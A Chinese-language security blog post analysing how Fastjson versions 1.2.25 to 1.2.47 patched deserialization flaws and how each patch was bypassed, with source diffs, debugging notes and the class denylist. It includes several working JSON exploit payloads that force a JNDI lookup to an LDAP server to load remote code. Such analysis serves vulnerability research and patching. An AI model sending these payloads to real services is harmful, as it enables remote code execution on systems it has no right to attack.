Loading

Fastjson 反序列化漏洞分析 1.2.25-1.2.47

Fastjson 反序列化漏洞分析 1.2.25-1.2.47

写在前面

上一篇文,主要跟了下Fastjson中反序列化的逻辑,以及在1.2.22-1.2.24版本中TemplatesImplJdbcRowSetImpl两条链,这篇记录下各个版本的Bypass补丁和绕过的复现,打算后面再写篇文,整理下不出网如何利用Fastjson

Fastjson 1.2.25修复

修复改动:

  • 自从1.2.25 起 autotype 默认为False
  • 增加 checkAutoType 方法,在该方法中进行黑名单校验,同时增加白名单机制

修改pom.xml换成1.2.25版本的Fastjson

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

首先对着1.2.25版本的fastjson打一发1.2.24版本的payload,看一下结果,已经打不成了。

先来把1.2.25jar包下下来,使用idea中Compare With... diff下源码看下如何修复的,在DefaultJSONParser类中多了一个checkAutoType方法检测

这里的话如果开了autoType会先走一个白名单acceptList的判断,如果当前@Type指定的要反序列化的类以acceptList数组中某一元素开头则直接loadClass去加载

但是因为默认白名单是空的,需要自己去add,所以走下面的黑名单denyList,黑名单如下:

"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"

而1.2.24 中我们用到的类是com.sun.rowset.JdbcRowSetImpl也在黑名单中,所以会抛出auto type not support异常

而如果没有开启autoType则会先走黑名单,如果指定类不在黑名单中再走白名单的判断,符合后再去loadClass该类

Fastjson 1.2.25-1.2.41 Bypass

先看第一种payload:需开启autoType

"{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}";

这个点其实上一篇文章有提到,调试看一下
首先跟进到checkAutoType中,因为这次@type指定类写法变为Lcom.sun.rowset.JdbcRowSetImpl; 所以可以很轻松的绕过黑名单

后续在loadClass方法中 ,满足了类名以L开头以;结尾,进而也可以调用到loadClass加载并返回class对象

L [ ; 这些字符是 JNI 字段描述符,可参考这篇文章

那因此,当className第一个字符为[时也同样可以进行绕过
payload: 需开启autoType

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}

首先是通过[绕过黑名单进入loadClass,之后第一次读取完类名为[com.sun.rowset.JdbcRowSetImpl,loadClass之后变为[Lcom.sun.rowset.JdbcRowSetImpl;。而之后的[{判断分别在JavaBeanDeserializer#deserialze方法和DefaultJSONParser#parseArray方法中
parseArray:需要当前有[才进入后续deserialze方法

后续在deserialze方法中,需要构造{。具体可参考这篇文章

当然这个payload是可以通杀1.2.25-1.2.43版本

Fastjson 1.2.25-1.2.42 Bypass

从1.2.42版本开始,在ParserConfig类中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单:https://github.com/LeadroyaL/fastjson-blacklist

payload:需开启autoType ,通过双写L;进行绕过

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}

下面调试分析一下,还是跟进到checkAutoType方法开始看
首先第一次处理时会先去掉一层L ;

然后进行黑名单hash的比对,比对完成后进入loadClass方法

跟进后发现传递的参数依然是typeName而不是我们上面看到的className,那么看看下面是如何处理掉2层L;的,首先依然是进入满足L开头;结尾的逻辑,之后通过递归的方式去处理的className,所以当第二次再进入loadClass方法时就会去除掉L;以正常的类名去loadClass

Fastjson 1.2.25-1.2.43 Bypass

在1.2.43版本时在checkAutoType方法添加了如下的判断,导致双写L,;无法绕过。所以在此版本下可以选择上面提到的,走入[的判断逻辑去触发JNDI

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    className = className.substring(1, className.length() - 1);
}

payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}

Fastjson 1.2.25-1.2.45 Bypass

1.2.44版本对[的绕过payload做了限制,当第一个字符为[时抛出异常

payload:开启autoTyoe;需要目标服务端存在mybatis的jar包,且版本需为3.x.x-3.5.0的版本。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/Basic/TomcatEcho"}

该payload主要因为org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单中可绕过检测,因为传入properties会调用setProperties方法进而触发JNDI

Fastjson 1.2.25-1.2.47 通杀

这里有2个版本段

  • 1.2.25-1.2.32版本:不能开启AutoType
  • 1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用

payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho",
        "autoCommit":true
    }
}

1.2.25-1.2.32 不能开启autoType

首先来看1.2.25-1.2.32不能开启AutoType

还是看到checkAutoType方法,因为没开启autotype所以不会进入黑白名单判断的逻辑,并且因为是jdk自带的Class类,所以可以找到

最终将其class对象直接return出来

之后调用MiscCodec#deserialize方法时,会去调用loadClass 加载JdbcRowSetImpl,而strVal的值是在上面通过判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量。

跟进loadClass,最终会将className与class对象的映射缓存到mappings中

而再一次进入checkAutoType方法后,会先从mappings中拿出class对象赋值给clazz

后续直接return该class对象 ,从而绕过了检测

1.2.33-1.2.47 通杀

这里拿1.2.47做调试
依旧是跟进到checkAutoType方法,和上面的部分一样,依旧是通过findClass可以找到java.lang.Class类,之后将其class对象return出来,之后就是将JdbcRowSetImpl缓存到mappings里

主要看第二次进入checkAutoType时的逻辑,主要是下面这个if。

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
    throw new JSONException("autoType is not support. " + typeName);
}

但是看网上文章都说是“满足”条件,这里我跟的时候发现这两个判断结果都为false,主要存在不同的是第二个点,这里我是开启autotype调试的,因为这里进入checkAutoType直接就进行了白+黑的检测,并没有调用getMapping,所以这里if中第二个条件为null,也即false,从而不会抛出异常

后续就没啥好说的了,和上面过程类似,从mappings中获取到JdbcSetRowImpl之后直接返回该class对象

为什么分成两个小版本段

我们来diff下1.2.32和1.2.33,看看具体变动在哪里,观察到checkAutoType方法在1.2.33之后多了TypeUtils.getClassFromMapping(typeName) == null,也就是在黑名单中也会从mappings获取类,也就是当前类在黑名单中且在mappings中没有,才会抛出异常;而在1.2.32之前,只是黑名单的判断,在黑名单中就抛异常,不在就不抛。

Fastjson 1.2.48版本修复

在TypeUtils#loadClass中禁止了cache的使用,那么通过先put到mappings中再等到第二次走checkAutoType时再调用TypeUtils.getClassFromMapping()来加载这种绕过黑名单的姿势就不能再用了

Reference

https://su18.org/post/fastjson/
https://www.mi1k7ea.com/2019/11/10/Fastjson系列三——历史版本补丁绕过(需开启AutoType)/
https://xz.aliyun.com/t/9052
https://www.cnblogs.com/nice0e3/p/14776043.html

posted @ 2022-01-25 14:31  Zh1z3ven  阅读(1347)  评论(0编辑  收藏  举报